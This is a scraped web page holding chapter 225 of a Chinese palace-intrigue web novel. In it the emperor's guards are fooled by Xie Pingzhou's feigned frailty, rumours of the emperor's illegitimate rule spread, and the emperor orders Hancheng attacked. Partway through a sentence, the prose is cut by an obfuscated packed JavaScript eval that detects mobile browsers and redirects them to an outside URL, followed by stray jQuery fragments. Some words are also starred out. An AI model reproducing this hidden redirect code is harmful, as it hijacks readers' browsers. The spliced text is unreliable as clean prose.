第二百二十五章 撕破脸

作品:《修行三年后,四个哥哥跪求我原谅

    皇帝派出的龙骧卫精锐很快抵达了韩城。


    这些皇帝亲军穿着便服,暗中在韩城内外仔细探查。


    只是没想到,世子谢凭舟深居简出,日常确实依靠轮椅,时常咳嗽,一副病弱之态。世子妃姜氏忙于侍奉婆母,打理内宅,偶尔施粥赠药,博取了些民间好感。


    国公夫人沈氏更是深居简出,吃斋念佛。


    整个谢家看起来安分守己,沉浸在丧夫失怙的悲痛和守孝的清苦之中。


    城防依旧由朝廷指派的将领负责,并无异常调动,民间也未见任何躁动或私下练兵迹象。


    龙骧卫首领甚至故意寻衅,试探了一下谢府护卫的身手,发现虽然比普通家丁强些,但也远达不到百战精锐的程度,与落鹰峡那支神秘骑兵相去甚远。


    一切看起来,再正常不过。


    只可惜龙骧卫所见,不过是谢凭舟精心布置的迷阵。


    真正的变化,发生在更深层,那位朝廷指派的韩城守将,看似依旧效忠朝廷,实则早已被谢凭舟暗中收服。


    谢凭舟凭借其父**公在军中的余威,自己展现出的能力,悄无声息地将其拉拢。韩城的兵权,已在不知不觉中,改姓了谢。


    龙骧卫看到的正常,是谢凭舟想让他们看到的正常。所有的锋芒和力量,都隐藏在看似平静的湖水之下,等待着惊涛骇浪掀起的那一刻。


    龙骧卫一无所获,回京复命,禀报韩城一切如常,谢世子确系残弱,并无异动。


    皇帝听完禀报,虽然未能完全消除疑虑,但暂时也抓不到任何错处,只得将此事暂且压下,心思又重新回到了他的长生大业上。


    然而,韩城这片土地,已在悄无声息中,孕育着足以颠覆王朝的力量。


    谢凭舟的蛰伏,只为等待一个最佳的时机。


    皇帝修建长生殿的消息如同投入油锅的火星,在京城的坊间剧烈燃烧。


    赋税日益沉重,徭役不休,底层百姓的生活越发艰难。


    终于,一场小规模的骚乱在西门集市爆发,数十名不堪重负的商户和民众****。


    虽然这场骚乱很快被闻讯赶来的京兆府衙役和巡防营强行驱散,带头几人也被锁拿下狱,但压抑的怒火和不满的情绪并未消失,反而如同地火般在更深更暗处涌动。


    就在此时,另一个更加石破天惊流言,如同瘟疫般以更隐秘却更迅猛的速度传播开来。


    “听说了吗?原来当今圣上得位不正!”


    “什么?怎么可能?”


    “千真万确,据说太祖皇帝当年真正属意的是睿亲王,是现在的陛下他们家用了不光彩的手段才……”


    “怪不得!怪不得陛下如此不顾民生,只顾自己修仙享乐,原来根本就不是真龙天子,德不配位啊!”


    “是啊!若是睿亲王一脉在位,有**公那样的忠臣良将,边关何至于此?百姓何至于此?”


    “如今睿亲王的后人,**公世子就在韩城。虽说腿脚不便,但听说极有能耐,在边关就铲除了奸佞!”


    “要是他能站出来就好了……”


    许多对朝廷失望透顶的江湖人士、落魄文人、甚至还有一些心怀异志的低级将领,开始将目光投向了遥远的韩城。


    不少人怀着各种心思,或为心中大义,或为搏个前程,悄悄地离开京城前往韩城,希望能拥立明主,助谢凭舟夺回本就属于他的皇位。


    养心殿内,皇帝正对着丹炉期待他的长生丹药,却见心腹太监连滚爬爬地进来,脸色惨白如纸。哆哆嗦嗦地禀报了市井间最新流传的,关于他得位不正的骇人谣言,以及已有人前往韩城投奔谢凭舟的消息。


    “噗——”皇帝只觉一股腥甜直冲喉头,竟猛地喷出一口鲜血染红了道袍和前襟。


    他眼前发黑,身体晃了几晃,被左右太监慌忙扶住。


    “陛下,陛下保重龙体。”太监宫女吓得魂飞魄散,乱成一团。


    “反了!反了!”


    皇帝推开搀扶的人,双目赤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378234|179284||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    红,状若疯癫,“谢凭舟,好你个谢凭舟!朕就知道是你,是你这个狼子野心的孽障在背后搞鬼。散播谣言,收买人心,你是想**吗?”


    他之前对谢坤谢锋的话和龙骧卫的回报所产生的些许疑虑,此刻被这直戳肺管子的流言击得粉碎。他认定这一切都是谢凭舟的阴谋。


    “传旨,立刻传旨!”皇帝喘着粗气,手指颤抖地指着殿外,“派八百里加急,宣谢凭舟即刻进京觐见!朕倒要看看,他这个真命天子,敢不敢来见朕。”


    他这是赤裸裸的阳谋。


    若谢凭舟敢来,便是自投罗网,他有无数种方法让其病逝途中或天牢。若谢凭舟不来,便是抗旨不遵,坐实了谋逆之心,他便可以名正言顺地发兵征讨。


    皇帝的旨意以最快的速度送到了韩城。


    宣旨太监高昂着头,带着皇家威仪,在谢府正厅宣读旨意,要求谢凭舟即刻启程赴京。


    然而,端坐在轮椅上的谢凭舟,听完圣旨后只是微微抬了抬眼,语气平静无波,“臣谢陛下隆恩。然臣自边关归来后,旧伤复发,沉疴难起,加之近日感染风寒,实在不良于行,无法长途跋涉赴京面圣。恐舟车劳顿,病体污了圣目,万望陛下体恤。”


    他这话说得滴水不漏,完全是一副病弱臣子无可奈何的口吻。


    宣旨太监试图强硬,但终究没敢像在京城那般放肆,只得强压着不满,带着一份谢凭舟亲笔书写的奏表,灰溜溜地回京复命去了。


    消息传回京城,皇帝得知谢凭舟竟敢称病不来,彻底撕破了最后一丝伪装,暴跳如雷。


    “好,好得很!既然你敬酒不吃吃罚酒,就休怪朕不顾念君臣之情、舅甥之谊。”


    皇帝眼中出现杀机,到底无法再忍耐了,“传朕旨意。谢凭舟抗旨不遵,勾结匪类散布谣言,意图谋反。着令北境都督府即刻点兵,给朕踏平韩城,将逆贼谢凭舟及其党羽**万段。”


    圣旨一下,一场针对韩城的讨伐战争,已然箭在弦上。